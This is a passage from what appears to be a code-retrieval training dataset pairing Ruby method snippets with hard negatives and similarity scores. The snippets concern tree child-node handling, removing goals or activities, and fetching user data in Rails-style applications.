has_children?\n `#@native.hasChildren()`\n end", "def children?\n\t\t\treturn children.size > 0\n\t\tend", "def has_childs\n access = Access.where(:parent_id=>id).first\n if access.blank?\n return false\n else\n return true\n end\n end", "def is_leaf?\n self.children_count.zero?\n end", "def is_leaf\n true\n end", "def is_leaf\n true\n end", "def children?\n return false if @children.length == 0\n end", "def allowed_children; end", "def is_child?\n !is_parent?\n end", "def is_leaf?\n self.left_child == nil and\n self.right_child == nil\n end", "def terminated?\n children.empty?\n end", "def hasChildren\n if (@left == nil) && (@right == nil)\n return 0\n elsif (@left != nil) && (@right != nil)\n return 2\n else\n return 1\n end\n end", "def leaf?(r)\n r.children.empty?\n end", "def has_child?\n [email protected]?\n end", "def valid_child(le)\n\t\t\treturn false\n\t\tend" ]
[ "0.67509234", "0.6607551", "0.6470046", "0.63880694", "0.63592976", "0.6271162", "0.62072885", "0.62072885", "0.62072885", "0.62072885", "0.61886597", "0.61154556", "0.6078982", "0.6006583", "0.599491", "0.599491", "0.599491", "0.599491", "0.5994648", "0.5989432", "0.5989432", "0.5989432", "0.5989432", "0.5989432", "0.5989432", "0.5989432", "0.5989432", "0.5989432", "0.59798795", "0.59659266", "0.596501", "0.5962658", "0.5946373", "0.59344816", "0.59205174", "0.59180254", "0.5904267", "0.58721834", "0.58721834", "0.58721834", "0.5869733", "0.5869733", "0.5865415", "0.58556336", "0.58556336", "0.584424", "0.5839141", "0.5767518", "0.57620925", "0.5757673", "0.57521975", "0.57473683", "0.5745043", "0.57062596", "0.57040155", "0.57017046", "0.5695784", "0.5695167", "0.5692656", "0.5692656", "0.56900525", "0.56770116", "0.56537646", "0.5651901", "0.5651901", "0.56337476", "0.5627514", "0.5623881", "0.56164587", "0.5611676", "0.5611676", "0.5611676", "0.5611676", "0.5611676", "0.5611676", "0.5611676", "0.5611676", "0.5611676", "0.5611676", "0.5611676", "0.5611676", "0.56015944", "0.5597178", "0.55924666", "0.55813295", "0.55696875", "0.5564598", "0.55533224", "0.5549895", "0.5548519", "0.5548519", "0.55482394", "0.5533766", "0.553285", "0.5528016", "0.55117834", "0.5506899", "0.55027366", "0.5500045", "0.5499791" ]
0.61347324
11
sets goal to ABANDONED and calls remove on children
def remove_act # outdent children in case remove_act doesn't delete self.children.each do |child| if child.type != 'GoalTracker' child.outdent child.remove_act end end # check if parent should update completeness old_parent = self.parent self.state = Activity::ABANDONED self.save! # refresh parent completeness if !old_parent.nil? old_parent.is_complete? end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_finished_children\n # We call #to_a to get a copy of children, since we will remove\n # children in the block. Note that we can't use #delete_if here\n # since #children is a relation enumerator (not the relation list\n # itself)\n children = each_child.to_a\n for child in children\n child, info = child\n if info[:success].evaluate(child)\n remove_child(child)\n end\n end\n end", "def remove_act\n # outdent children in case remove_act doesn't delete\n self.children.each do |child|\n child.outdent\n child.remove_act\n end\n \n # check if parent should update completeness\n old_parent = self.parent\n\n self.permissions.destroy_all\n self.destroy\n \n # refresh parent completeness\n if !old_parent.nil?\n old_parent.is_complete?\n end\n end", "def remove\n each { |x| x.parent.children.delete(x) }\n end", "def mark_children_for_removal\n work_graphics.each do |work_graphic|\n work_graphic.destroy\n end\n end", "def children() []; end", "def remove_illegitimate_children\n puts \"Destroying illegitimate children of response #{id}: #{text}\" if illegitimate_children.length > 1\n illegitimate_children.select {|q| q != child_question }.each do |q|\n puts \" Destroying illegitimate child question #{q.id}: #{q.text}\"\n q.destroy\n end\n end", "def clear_children!\n @children.clear\n end", "def destroy\n super\n\n @children.each do |_child_name, child_group|\n child_group.each(&:destroy)\n end\n\n @children = {}\n end", "def remove_child child\n @children.delete child\n end", "def finish\n @children.each { |kid| \n kid[:link].finish()\n kid[:link] = nil\n kid[:residue].finish()\n kid[:residue] = nil\n }\n\n @ring_positions.each { |pos,node| \n node.finish()\n }\n\n remove_relations\n \n end", "def remove_all\n @peer.remove_all\n# @children.each { |child| scene.unindex_prop(child) } if scene\n# @children = []\n end", "def remove_child(le)\n\t\t\[email protected] le\n\t\t\tle.parent = nil\n\t\tend", "def retrieve_all_children\n self.to_be_removed = false\n self.save\n\n self.tags.each do |i|\n i.to_be_removed = false\n i.save\n end\n end", "def remove_from_descendants\n # TODO\n end", "def remove(child)\n# if children.delete(child)\n# scene.unindex_prop(child) if scene\n @peer.remove(child.peer)\n# end\n end", "def destroy\n #TODO: rewrite this method to actually \"archive\" the goals and include a note on why it was archived.\n #do some separate, more secure method for actually deleting them.\n\n if([email protected]?)\n redirect_to @goal, error: \"Goals may only be deleted if they have no sub-goals. Please delete the #{pluralize(@Goals.children.count,\"sub-goal\")} of this goal and try again.\"\n end\n\n @goal.destroy\n #orphan children on destroying\n #NOTE: use :dependent :nullify, instead\n #@goal.children.each do |c|\n # c.update!(parent_id: nil)\n #end\n\n redirect_url = (@goal.parent) ? @goal.parent : goals_path\n\n respond_to do |format|\n format.html { redirect_to redirect_url, notice: 'Goal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_children\n\t\tinterests.destroy_all\n\tend", "def remove_act\n # select rep_parent if it exists\n node = self\n if !self.rep_parent.nil?\n node = self.rep_parent\n end\n\n # outdent children in case remove_act doesn't delete\n node.children.each do |child|\n child.outdent\n child.remove_act\n end\n\n # hold parent in case it need be updated\n old_parent = node.parent\n \n node.repititions.destroy_all\n node.destroy\n\n if !old_parent.nil?\n old_parent.is_complete?\n end\n end", "def children; []; end", "def orphan_children\n self.class.transaction do\n children(true).each{|child| child.orphan}\n end\n end", "def demolish\n @children.each_value(&:demolish)\n end", "def removing_plan_relation(transaction, parent, child, relations); end", "def remove_children(relation = nil)\n if !relation\n for rel in sorted_relations\n remove_children(rel)\n end\n return\n end\n\n children = child_objects(relation).to_a\n for child in children\n remove_child_object(child, relation)\n end\n\tend", "def child_tree\n child_check\n child_tree = self.clone\n child_tree.removeFromParent!\n child_tree\n end", "def remove_child node, idx, opts={}\n no('no') unless node.children[idx]\n removed = node.children[idx]\n removed.parent_clear!\n tomb = Tombstone.build removed, opts\n node.children[idx] = tomb\n removed\n end", "def clean_children\n\n return unless @children\n\n @children.each do |child_fei|\n #next unless child.is_a?(FlowExpressionId)\n get_expression_pool.remove(child_fei)\n end\n end", "def update_children_when_delete\n if self.to_be_removed == true\n self.tag_types.each do |m|\n if m.to_be_removed == false\n m.to_be_removed = true\n m.save\n end\n end\n end\n end", "def prune!\n return if root? #you cannot prune the root\n if normal?\n parent.normal_children.delete(self)\n else\n parent.fallback_child = nil\n end\n old_parent = parent\n @parent = nil\n old_parent.prune! if old_parent.useless?\n end", "def remove!(child)\n @last_items_count -= +1 if child && child.last\n super\n end", "def orphan_child_categories\n self.children.each do |child|\n child.parent_id = nil\n child.save\n end\n end", "def orphan_self_and_children\n self.class.transaction do\n orphan_children\n orphan\n end\n end", "def prune\n @parent.gemset_prune\n end", "def destroy\n #primitives in structs are without parent\n parent and parent.children.delete self\n end", "def orphan_self_and_parent_adopts_children\n self.class.transaction do\n parent_adopts_children\n orphan\n end\n end", "def move!\r\n return unless create_new_parent?\r\n parent_arg = find_new_parent\r\n self.move_to_child_of(parent_arg)\r\n if parent_arg\r\n self.debate_id = parent_arg.debate_id\r\n self.children.update_all(\"debate_id = #{parent_arg.debate_id}\")\r\n end\r\n end", "def complete_children\n if self.category.eql?('todo') and self.completed\n if self.children\n children = self.get_all_children\n children.each do |child|\n if child.completed.blank? or !child.completed\n child.update_attributes(:completed => true, :completed_at => self.completed_at, :zimbra_task_status => true)\n # MatterTask.update_all({:completed => true, :completed_at => self.completed_at}, {:id => child.id})\n end\n end\n end\n end\n end", "def children=(_arg0); end", "def children=(_arg0); end", "def remove_bobchild_relationships(bobchildren_ids)\n existing_bobchildren_ids = bobchildren.collect {|x| x.id}\n delete_child_relaitonships = existing_bobchildren_ids - bobchildren_ids\n Rails.logger.info(\"existing_bobchildren::#{existing_bobchildren_ids}\")\n delete_child_relaitonships.each do |uid|\n u = User.find(uid)\n u.bobfather_rel.destroy\n end\n end", "def remove_from_parents\n ordered_by.each do |parent|\n parent.ordered_members.delete(self) # Delete the list node\n parent.members.delete(self) # Delete the indirect container Proxy\n parent.save! # record the changes to the ordered members\n end\n end", "def ignore_children!\n @ignoring_children += 1\n end", "def update_bobchildren(bobchildren_ids)\n bobchildren_ids.reject! {|x| x.empty? }\n \n remove_bobchild_relationships(bobchildren_ids)\n # add the newly checked children\n add_bobchild_reationships(bobchildren_ids)\n end", "def remove_child_object(child, relation = nil)\n if !relation\n for rel in sorted_relations\n rel.remove_relation(self, child)\n end\n else\n relation.remove_relation(self, child)\n end\n\tend", "def remove_from_tree(item, node) \n return rebalance(super(item, node))\n end", "def destroy_children()\n # self.children.each do |c|\n # class_const = Service.class_map[c.service_id]\n # raise NoClassError.new(\"Pas de classe rattachée au service=#{c.service_id}\") if class_const.nil?\n # child = class_const[c.id]\n # child.destroy()\n # end\n end", "def mark_children_for_purging(children)\n children.each do |name, child|\n next if child[:source]\n child[:ensure] = :absent\n end\n end", "def remove_child(component)\n @children.delete(component)\n component.parent = nil\n end", "def unbranch\n @child\n end", "def removed_child_object(child, relations)\n\t super if defined? super\n\n if !task.invalidated_terminal_flag?\n if (relations.include?(EventStructure::Forwarding) || relations.include?(EventStructure::Signal)) && \n child.respond_to?(:task) && child.task == task\n\n task.invalidate_terminal_flag\n end\n end\n\tend", "def finalize\n @list.each do |bp|\n bp.related_bp.each { |bp| bp.remove! }\n bp.remove!\n end\n clear\n end", "def rearrange_children!\n @rearrange_children = true\n end", "def delete\n extract.children.to_a.each(&:extract)\n end", "def apply_children\n \n end", "def delete_all_behaviors!\n @behaviors.each { |beh| beh.parent = nil }\n @behaviors = []\n end", "def eliminate_duplicate_parent_child_additions!\n parents_to_add.uniq!\n children_to_add.uniq!\n parents_to_remove.uniq!\n children_to_remove.uniq!\n end", "def remove_children_recursively\n groups.each do |g|\n g.remove_children_recursively\n g.remove_from_project\n end\n files.each { |f| f.remove_from_project }\n end", "def remove_children_recursively\n groups.each do |g|\n g.remove_children_recursively\n g.remove_from_project\n end\n files.each { |f| f.remove_from_project }\n end", "def remove_dead_ends\n size = @open.size\n for child in @n.children\n if child.dead_end\n @open.delete(child).name\n end\n end\n clean_up_closed(@n) if size != @open.size\n end", "def remove_parent\n # has to go from parent to child\n self.parent.remove_child(self)\n end", "def move(thing, to, check=true)\n item = find(thing)\n dest = find(to)\n\n return if item.nil?\n if check && item.hidden?\n puts \"You can't get to that right now\"\n return\n end\n\n return if dest.nil?\n if check && (dest.hidden? || dest.open == false)\n puts \"You can't put that there\"\n return\n end\n\n if dest.ancestors.include?(item)\n puts \"Are you trying to destroy the universe?\"\n return\n end\n\n item.parent.children.delete(item)\n dest.children << item\n item.parent = dest\n end", "def preserve_children?\n false\n end", "def children=(children)\n (self.children - children).each do |child_to_remove|\n remove_child(child_to_remove)\n end\n super\n end", "def destroy_or_remove_from_descendants\n if !!self.tree_destroy_descendants\n destroy_descendants\n else\n remove_from_descendants\n end\n end", "def hand_off_to!(other)\n verify_hand_off_to(other)\n other.children.replace children\n other.parent = parent\n @children = EmptyClass\n @parent = nil\n end", "def remove(component)\n \[email protected](component)\n \tcomponent.parent = nil\n end", "def remove_child(position)\n @children.delete_if {|child| child.value == position}\n end", "def _UNDO_deleteChild(iChildTagToDelete)\n @Children.delete_if do |iChildTag|\n if (iChildTag == iChildTagToDelete)\n iChildTag._UNDO_setParent(nil)\n true\n else\n false\n end\n end\n end", "def ensure_finished\n ensure_exists!\n unless end_time\n self.end_time = ::Time.now.utc\n @children.each(&:ensure_finished)\n end\n self\n end", "def graft!(other)\n verify_graft(other)\n other.parent = parent\n parent.children.add other\n parent.children.delete self\n end", "def expand\n move = @untried_moves.pop\n create_child(move)\n end", "def update_children\n self.children.each do |child|\n child.update_children\n unless child.new_record?\n child.save\n child.move_to_child_of(self) if child.parent_id != self.id\n end\n end if self.changed?\n end", "def remove_child(child)\n if @children.delete(child)\n child.parent = nil\n end\n end", "def remove_child(child_node) \n unless children.include?(child_node) \n raise \"This child does not exist\" \n else \n child_node.parent = nil \n end \n end", "def removed_child_object(child, relations)\n\t\tsuper if defined? super\n\t\treturn if !Distributed.state\n\n\t\t# If our peer is pushing a distributed transaction, children\n\t\t# can be removed Avoid sending unneeded updates by testing on\n\t\t# plan update\n\t\treturn if Distributed.updating?(plan)\n\t\treturn if Distributed.updating?(self.root_object) && Distributed.updating?(child.root_object)\n\n\t\t# Remove all relations that should not be distributed, and if\n\t\t# there is a relation remaining, notify our peer only of the\n\t\t# first one: this is the child of all others\n\t\tif notified_relation = relations.find { |rel| rel.distribute? }\n\t\t Distributed.each_updated_peer(self.root_object, child.root_object) do |peer|\n\t\t\tpeer.transmit(:update_relation, plan, self, :remove_child_object, child, notified_relation)\n\t\t end\n\t\t Distributed.trigger(self, child)\n\t\tend\n\t end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def parent_adopts_children\n if parent(true)\n self.class.transaction do\n children(true).each{|child| parent.children << child}\n end\n else\n orphan_children\n end\n end", "def remove_child(node)\n if node.parent == nil\n raise \"this is an orphan\"\n end \n node.parent = nil\n end", "def flush_children_methods\n self.children.each do |child|\n child.instance_methods(false).each do |meth|\n child.send :remove_method, meth\n end\n end\n end", "def destroy_with_children\n destroyed_comment_ids = []\n self.descendants.each do |comment|\n comment.destroy\n destroyed_comment_ids << comment.id\n end\n\n self.destroy ? destroyed_comment_ids << self.id : false\n end", "def remove_child(child)\n @children.delete(child.name)\n child.parent = nil\n child\n end", "def delete_unwanted_children\n @children.keys.each do |key|\n if(@children[key][:value].class.name === \"Array\")\n if(@children[key][:value].empty?)\n @children.tap { |hs| hs.delete(key) }\n end\n else\n if(@children[key][:value].nil?)\n @children.tap { |hs| hs.delete(key) }\n end\n end\n end\n end", "def clear\n @parent = nil\n end", "def remove_child (child_fei)\n\n i = @children.index(child_fei)\n\n return unless i\n\n @children.delete_at(i)\n raw_children.delete_at(i)\n @raw_rep_updated = true\n\n store_itself\n end", "def trash!\n self.public = false\n self.folded = true\n self.remove_from_list\n end", "def reap_children\n @child_list.each do |pid|\n Process.kill('SIGKILL', pid)\n\t Process.wait pid\n end\n end", "def rebuild_hierarchies!\n query(\"MATCH (:Page)-[parent:parent]->(:Page) DELETE parent\")\n query(\"MATCH (:Page)-[in_clade:in_clade]->(:Page) DELETE in_clade\")\n missing = {}\n related = {}\n # HACK HACK HACK HACK: We want to use Resource.native here, NOT ITIS!\n itis = Resource.where(name: \"Integrated Taxonomic Information System (ITIS)\").first\n raise \" I tried to use ITIS as the native node for the relationships, but it wasn't there.\" unless itis\n Node.where([\"resource_id = ? AND parent_id IS NOT NULL AND page_id IS NOT NULL\",\n itis.id]).\n includes(:parent).\n find_each do |node|\n page_id = node.page_id\n parent_id = node.parent.page_id\n next if missing.has_key?(page_id) || missing.has_key?(parent_id)\n page = page_exists?(page_id)\n page = page.first if page\n if page\n relate(\"in_clade\", page, page)\n end\n next if related.has_key?(page_id)\n parent = page_exists?(parent_id)\n parent = parent.first if parent\n if page && parent\n if page_id == parent_id\n puts \"** OOPS! Attempted to add #{page_id} as a parent of itself!\"\n else\n relate(\"parent\", page, parent)\n relate(\"in_clade\", page, parent)\n related[page_id] = parent_id\n # puts(\"#{page_id}-[:parent]->#{parent_id}\")\n end\n else\n missing[page_id] = true unless page\n missing[parent_id] = true unless parent\n end\n end\n related.each do |page, parent|\n puts(\"#{page}-[:in_clade*]->#{parent}\")\n end\n puts \"Missing pages in TraitBank: #{missing.keys.sort.join(\", \")}\"\n end", "def remove_parent(selector); end", "def unset_children(e, children_elements)\n return if !e || !children_elements\n\n id_field = @db_fields[:id]\n id = e.send(id_field)\n if children_elements[id].is_a? Array\n children_elements[id].each do |child|\n unset_children(child, children_elements)\n end\n end\n children_elements.delete(id)\n end", "def removeFromParent\n @parent.remove(self) if @parent\n end" ]
[ "0.7147326", "0.7066963", "0.6505253", "0.647531", "0.6440399", "0.6432944", "0.6367749", "0.636337", "0.635204", "0.6335101", "0.62772447", "0.626488", "0.6210802", "0.62064195", "0.61856765", "0.61571175", "0.61485565", "0.6145143", "0.61316776", "0.61258465", "0.6104825", "0.60790026", "0.6073781", "0.6065633", "0.60583204", "0.6008439", "0.59788036", "0.5956688", "0.59477335", "0.5908808", "0.590461", "0.5893039", "0.5882521", "0.5870778", "0.58451176", "0.5831282", "0.58206075", "0.58206075", "0.5816374", "0.58127666", "0.58041555", "0.5800856", "0.57939476", "0.578063", "0.57725775", "0.5770471", "0.5749016", "0.57395893", "0.57358074", "0.5729329", "0.5711944", "0.5708543", "0.5704538", "0.56940025", "0.56862485", "0.56815416", "0.56815416", "0.5677297", "0.5661798", "0.5660725", "0.5658447", "0.5655864", "0.5641012", "0.56326157", "0.5630484", "0.5603116", "0.5596347", "0.55943406", "0.5587658", "0.5574601", "0.5571249", "0.5564228", "0.5555364", "0.5548158", "0.5530357", "0.5530357", "0.5530357", "0.5530357", "0.5530357", "0.5530357", "0.5530357", "0.5530357", "0.5530357", "0.5530357", "0.5530357", "0.5530357", "0.5527561", "0.55203164", "0.55077136", "0.54765487", "0.5475819", "0.5467687", "0.5464169", "0.54567313", "0.5439487", "0.5425858", "0.5407489", "0.539193", "0.53899217", "0.53758526" ]
0.7523682
0
methods to get data from user
def other_cd print "Enter CD name: " cd_name = gets.chomp print "Enter artist's name: " a_name = gets.chomp print "Enter number of tracks: " num_tracks = gets.chomp.to_i [cd_name, a_name, num_tracks] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_user_data\n @user = User.find(params[:id])\n end", "def get_user_data\n raise NotImplementedError\n end", "def user_data\n User.user_data login\n end", "def get_user_info\n response = send_method(:get_user_info)\n user_from(response)\n end", "def get_user_data(id)\n load_user_data(id)\n @user_data[@user_id]\n end", "def get_data()\t\n\tend", "def get_user_data(uid)\n @conn.get(\"/api/v1/users/#{uid}\")\n end", "def user_data\n=begin\n p \"===>session[:userdata]=#{session[:userdata]}\"\n if session[:userdata]\n return session[:userdata]\n else\n if (!session[:uid])\n if !check_session\n error(\"session not exist, please reinstall app or login again\")\n return nil\n end\n end\n user = User.find(session[:uid])\n userexts = Userext.find_by_sql(\"select * from userexts where uid=#{session[:uid]}\")\n user[:userext] = userexts[0]\n session[:userdata] = user\n return user\n end\n=end\n\n return nil if !check_session\n return @userdata if @userdata\n if !@userdata\n @userdata = User.get(session[:uid])\n p \"===>@userdata=#{@userdata}\"\n return @userdata\n end\n if !@userdata\n error(\"user not exist\")\n return nil\n end\n return @userdata\n end", "def merchant_defined_data1\n @user\n end", "def data\n retrieve_data\n end", "def method_missing( name, *args )\n if !!(ret = my_data[ :\"user_#{ name }\" ])\n ret\n else\n super\n end\n end", "def get_all_user_data\n load_user_data(nil)\n end", "def call \n user\n end", "def user_data\n @user_data ||= opts[:questionnaire_response]&.user_demographics_data\n end", "def get_user_data(user_name)\n puts \"Please wait was your profile data is retrieved\"\n response = Net::HTTP.get_response(\"teamtreehouse.com\", \"/#{user_name}.json\")\n user_data = JSON.parse(response.body)\n puts \"Data retrieved!\"\n return user_data\nend", "def user()\n return @data[\"access\"][\"user\"]\n end", "def user\n user = User.new\n user.read_creddentials\n user.login\n puts user.to_str\n end", "def fetch_data(user)\n array = read_from_file(\"userdata/#{user}.txt\")\n array[0]\nend", "def user; end", "def user; end", "def get_users input\n\t\t@users[input]\n\tend", "def user_info\n response = from_server \"api/user.json\"\n response.data\n end", "def info\n\t@user = User.find(params[:id])\n end", "def get_users(request); end", "def get_user\n @user = User.find(params[:user_id])\n end", "def get_user_data(user_id, auth_token)\n request = Typhoeus::Request.new(\n \"https://oauth2-api.mapmyapi.com/v7.0/user/self/\",\n method: :get,\n body: {\n 'Content-Type' => \"application/json\",\n 'Api-Key' => ID,\n 'Authorization' => \"Bearer #{auth_token}\"\n },\n headers: {\n 'Api-Key' => ID,\n 'Authorization' => auth_token\n }\n )\n request.run\n response = request.response\n fail\n\n end", "def user_data\n {:username => self.username,\n :pic_url => self.user_pic,\n :profile_url => self.profile_url\n }\n end", "def method_missing(method, *args)\n fetch_user!\n @user[method.to_s]\n end", "def user_data\n {\n user_id: @user.id,\n email: @user.email\n }\n end", "def get_user \n @user = User.find(params[:id])\n end", "def getUserData(radio, username, api_url)\n if radio == \"username\"\n return HTTParty.get(api_url + \"predict_json_by_name?screen_name=#{username}\")\n else\n if radio == \"bd\"\n res = HTTParty.get(api_url + \"predict_json_by_id?user_id=#{get_bipolar()}\")\n res['profile']['name'] = \"Bipolar Patient\"\n res['profile']['screen_name'] = 'randomBipolarPatient'\n else\n res = HTTParty.get(api_url + \"predict_json_by_id?user_id=#{get_bpd()}\")\n res['profile']['name'] = \"BPD Patient\"\n res['profile']['screen_name'] = 'randomBPDPatient'\n end\n res['profile']['profile_image_url'] = 'https://pixabay.com/static/uploads/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png'\n res['profile']['profile_banner_url'] = 'https://pbs.twimg.com/profile_banners/6253282/1431474710/1500x500'\n res['profile']['description'] = ''\n end\n res\n end", "def get_user\n @user\n end", "def get_user\n @user\n end", "def user\r\n return @user\r\n end", "def user_show_data\n user = User.find(params[:user])\n\n @data = {\n name: user.full_name,\n email: user.email,\n title: user.title,\n school_name: user.organization.name,\n logo_link: user.organization.logo_link,\n points: user.points,\n reviews: reviews_from_user(user),\n protips: protips_from_user(user),\n receives_weekly_digest: user.receives_weekly_digest,\n active: user.active\n }\n\n render json: @data\n end", "def get_user\n @user = User.find(params[:user_id])\n end", "def getUser login\n return false if !@usrData\n @usrData[login]\n end", "def getUserDetails\n\t\tuser = java.util.HashMap.new()\n\t\t# user name\n\t\tuser.put(KEY_NAME, @pref.getString(KEY_NAME, nil))\n\t\t\n\t\t# user email id\n\t\tuser.put(KEY_EMAIL, @pref.getString(KEY_EMAIL, nil))\n\t\t\n\t\t# return user\n\t\treturn user;\n\tend", "def getUser()\n\t\treturn @user\n\tend", "def get_all_info_from_user()\n\n db = connect_to_db(\"db/db.db\")\n\n db.execute(\"SELECT * FROM users\")\n end", "def info()\n get(:session, {:method => \"user.getInfo\"})\n end", "def getUserDetails *args\n options=fill_args [:username,:userid],[],*args\n if options[:username]==nil && options[:userid]==nil\n raise \"Username or userid is required\"\n end\n if options[:username]!=nil && options[:userid]!=nil\n raise \"Both username and userid is not allowed\"\n end\n request \"/User/getUserDetails.json\",options\n end", "def call\n user\n end", "def getInfo\n if session[:userType] == \"Seller\"\n @usertype = \"Seller\"\n @CurrentSeller ||=Seller.find_by(id:session[:seller_id])\n elsif session[:userType] == \"User\"\n @CurrentUser ||=User.find_by(id:session[:user_id])\n if @CurrentUser.nil?\n @usertype = \"Guest\"\n else\n if @CurrentUser.admin == true\n @usertype = \"Admin\"\n else\n @usertype = \"User\"\n end\n end\n\n else\n @usertype = \"Guest\"\n end\n end", "def get_user \n\t\treturn User.find(self.user_id)\n\tend", "def user_data(user, number = nil, sender = 0)\n address = user.ship_address\n number = if address.siodemka_number.blank? then @client_number else address.siodemka_number end\n {\n ulica: address.address1,\n email_kontakt: user.email,\n imie: address.firstname,\n numer: number,\n nazwisko: address.lastname,\n nrDom: address.address2,\n nrLokal: address.address2,\n kod: address.zipcode,\n nrExt: user.id,\n nazwa: if address.company.blank? then \"#{address.firstname} #{address.lastname}\" else address.company end,\n telKontakt: address.phone,\n nip: false,\n czyFirma: if address.company.blank? then 0 else 1 end,\n kodKraju: address.country.iso,\n miasto: address.city,\n fax: false,\n telefonKom: false,\n czyNadawca: sender\n }\n end", "def get_user_data\n user_data = nil\n \n if cookies.has_key?(:user_data) && cookies[:user_data].to_s != ''\n user_data = string_to_hash(cookies[:user_data])\n end\n user_data\n end", "def find_user_data\n if @guardian.current_user && @all_topics.present?\n topic_lookup = TopicUser.lookup_for(@guardian.current_user, @all_topics)\n @all_topics.each { |ft| ft.user_data = topic_lookup[ft.id] }\n end\n end", "def check\n api.get_user\n end", "def read\n\t\tuser = User.find_by_username(params[:username])\n\t\tif user\n payload = {\n username: user.username,\n first_name: user.first_name,\n last_name: user.last_name,\n created_at: user.created_at.strftime(\"%-m/%-d/%Y\")\n }\n\t\t\tif @current_user and @current_user.id == user.id\n payload[:email_address] = user.email_address\n end\n render status: 200, json: payload\n\t\telse\n\t\t\trender status: 404, json: {error: true}\n\t\tend\n\tend", "def view\n\t\trequest_user(params[:id])\n\tend", "def user_info\n\t\t@user_info ||= fetch_latest_user_info\n\tend", "def user(username_or_id)\n puts \"Getting Info about User %s\" % username_or_id.to_s\n begin\n u = @MT.user(username_or_id)\n string_data = {\n :name => u.name,\n :screen_name => u.screen_name,\n :location => u.location,\n :description => u.description,\n :url => u.url \n }\n user_data = {\n :id => u.id,\n :followers_count => u.followers_count,\n :friends_count => u.friends_count,\n :protected => u.protected,\n :listed_count => u.listed_count,\n :created_at => u.created_at,\n :favourites_count => u.favourites_count,\n :utc_offset => u.utc_offset,\n :time_zone => u.time_zone,\n :geo_enabled => u.geo_enabled,\n :verified => u.verified,\n :statuses_count => u.statuses_count,\n :lang => u.lang,\n :is_translator => u.is_translator\n }\n string_data.each { |k,v| v.nil? ? (user_data[k] = nil) : (user_data[k] = v) }\n user_data\n rescue Twitter::Error::Unauthorized, Twitter::Error::Forbidden, Twitter::Error::NotFound\n puts \"Suspended?\"\n nil\n end\n end", "def show\n @user = get_user\n end", "def get_user_details\n\t\tid = params[:id]\n\t\tTheCityAdmin::AdminApi.connect(Rcplugin::CITY_ADMIN_SECRET,Rcplugin::CITY_USER_TOKEN)\n\t\t@user = TheCityAdmin::User.load_by_id(id)\n\tend", "def user_details\n\t\t@user_data = Hash.new\n\t\t@user_data[\"first_name\"] = @first_name\n\t\t@user_data[\"username\"] = @username\n\t\t@user_data[\"password\"] = @password\n\t\t@user_data[\"balance\"] = @balance\n\tend", "def get_current_logged_in_user \n get(\"/users.json/current\")\nend", "def get_current_logged_in_user \n get(\"/users.json/current\")\nend", "def user\n @user\n end", "def user\n @user\n end", "def user\n @user\n end", "def userinfo\n @participant = Participant.find(session[:user])\n end", "def user\n return Etc.getlogin\n end", "def user\n user_id.get_object\n end", "def collect_parameters\n @device_id = params[:device_id]\n @email = params[:email]\n @latitude = params[:latitude]\n @longitude = params[:longitude] \n @status = params[:status]\n @user_name = params[:user_name]\n @auth_token = params[:auth_token]\n @user\n end", "def username\n @data['username']\n end", "def username\n @data['username']\n end", "def user\n parse!\n @user\n end", "def user_data\n {\n id: @user.id,\n email: @user.email,\n user_token_sale_state: @user_token_sale_state,\n bt_name: @user.bt_name.to_s\n }\n end", "def get_user_info\n get(\"/api/v1/oauth_user_info.json\")\n end", "def user_info\n\t\t\"name: #{name} \\n\"+\n\t\t\"email: #{email}\"\n\t\t\t\n\tend", "def user\n @user\n end", "def get_user_details\n prompt = prompt_instance\n system(\"clear\")\n username = prompt.ask(\"Please enter username:\") do |q|\n end\n password = prompt.mask(\"Please enter password:\") do |q|\n end\n return username, password\nend", "def send_user_data(user)\n end", "def show\n\t@user=User.find(params[:id])\n\t@personal_datum = PersonalDatum.find_by(user_id: @user.id)\n\t@userplatformdatum = @user.plat\n end", "def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end", "def user(*eras); end", "def getUser #GET\n if params[:type].present?\n if params[:type]==\"getUser\"\n @user = User.all\n render :json => @user\n else\n print \"Wrong Type\"\n render :json => { :status => :ok, :message => \"Fail!\", :description => \"Wrong Type\"}\n end\n else\n print \"Missing Attribute\"\n render :json => { :status => :ok, :message => \"Fail!\", :description => \"Missing Attribute\"}\n end\n end", "def index\n if session[:user_id]\n @user = User.find_by_id(session[:user_id])\n @name = @user.name\n @email = @user.email\n @roommates = @user.roommates_string\n @roommates = \"None\" if @roommates == \"\"\n if @user.roommate_request != nil\n @requester_name = @user.roommate_request.requester_name\n end\n end\n end", "def user_information\n { \"username\": @user.username, \"email\": @user.email, \"id\": @user.id }\n end", "def user\n \t@user = User.find(params[:id])\n @listings = User.find(params[:id]).listings\n end", "def get_user_data(code)\n\t\taccess_uri = URI::HTTP.build(\n\t\t\t:host => @options['api_host'],\n\t\t\t:path => @options['access_token_path'],\n\t\t\t:query => {\n\t\t\t\t:code => code,\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t:grant_type => \"authorization_code\",\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:client_secret => @options['client_secret'],\n\t\t\t}.to_query\n\t\t)\n\n\t\taccess_request = JSON.parse Net::HTTP.post_form(access_uri, []).body\n\n\t\tcurrent_user_uri = URI::HTTP.build(\n\t\t\t:host => @options['api_host'],\n\t\t\t:path => @options[\"method_url_path\"],\n\t\t\t:query => {\n\t\t\t\t:access_token => access_request['access_token'],\n\t\t\t\t:application_key => @options['application_key'],\n\t\t\t\t:method => \"users.getCurrentUser\",\n\t\t\t\t:sig => self.get_sig(access_request['access_token'])\n\t\t\t}.to_query\n\t\t)\n\n\t\tresponse = JSON.parse Net::HTTP.get_response(current_user_uri).body\n\n\t\tif response.nil?\n\t\t\tnil\n\t\telse \n\t\t\tresponse\n\t\tend\n\tend", "def user; User.find_by_id(user_id); end", "def user\n puts self.name\n end", "def user_data(data, username, user_password)\n data.each do |hash|\n next unless hash['username'].downcase == username.downcase\n\n next unless hash['password'] == user_password\n\n @user = User.new(username, user_password, hash['id'], hash['playlist'], hash['mylist'])\n go_to_menu\n end\n @count += 1\n no_auth\n end", "def get()\n \n end", "def user\n end", "def parse_user_data(user_data)\n parsed_user_data = user_data\n return parsed_user_data\n end", 